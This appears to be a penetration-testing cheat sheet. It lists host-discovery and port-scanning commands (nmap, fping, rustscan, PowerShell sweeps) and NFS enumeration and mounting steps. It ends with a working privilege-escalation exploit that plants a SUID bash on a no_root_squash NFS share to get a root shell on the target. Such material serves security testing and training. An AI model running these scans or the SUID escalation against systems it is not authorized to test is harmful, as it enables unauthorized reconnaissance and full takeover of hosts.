Port Scanning

# Background pings, print only live hosts
for i in $(seq 1 254); do ping -c1 -W1 $SUBNET.$i & done | grep "64 bytes"

# fping: cleaner, built for sweeps
fping -a -g $SUBNET.0/24 2>/dev/null

# nmap host discovery only (no port scan)
nmap -sn $SUBNET.0/24

# nmap host discovery, no DNS resolution (faster on large ranges)
nmap -sn -n $SUBNET.0/24 --min-rate 2000

# PowerShell: sequential
1..254 | ForEach-Object {
    $ip = "$SUBNET.$_"
    if (Test-Connection -Count 1 -Quiet -ComputerName $ip) { Write-Output $ip }
}

# PowerShell 7: parallel (much faster)
1..254 | ForEach-Object -Parallel {
    $ip = "$using:SUBNET.$_"
    if (Test-Connection -Count 1 -Quiet -ComputerName $ip) { Write-Output $ip }
} -ThrottleLimit 50

# Fast full TCP
nmap -p- --min-rate 5000 -T4 <IP> -oN full.txt

# Targeted service scan
nmap -sV -sC -p <ports> <IP> -oN targeted.txt

# UDP scan (top 100)
nmap -sU --top-ports 100 <IP>

# OS detection
nmap -O <IP>

# Vuln scripts
nmap --script vuln -p <ports> <IP>

rustscan -a <IP> -- -sV -sC

# nmap NFS scripts
nmap -sV -p 111,2049 $TARGET
nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 111,2049 $TARGET

# rpcinfo: list all RPC services registered on the host
rpcinfo -p $TARGET

# showmount: list exported shares and which hosts can access them
showmount -e $TARGET

# Mount an export
mkdir /mnt/nfs
mount -t nfs $TARGET:/share /mnt/nfs

# Force NFSv3 if v4 causes issues
mount -t nfs $TARGET:/share /mnt/nfs -o vers=3,nolock

# Mount as read-only to avoid touching the share
mount -t nfs $TARGET:/share /mnt/nfs -o ro

# Unmount
umount /mnt/nfs

# Check /etc/exports on the target for misconfigured exports
cat /etc/exports
# Vulnerable line looks like:
# /share  *(rw,no_root_squash)

# With no_root_squash: plant a SUID bash on the share as root
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On the target: execute the planted binary
/share/bash -p
# -p preserves the effective UID (SUID), gives root shell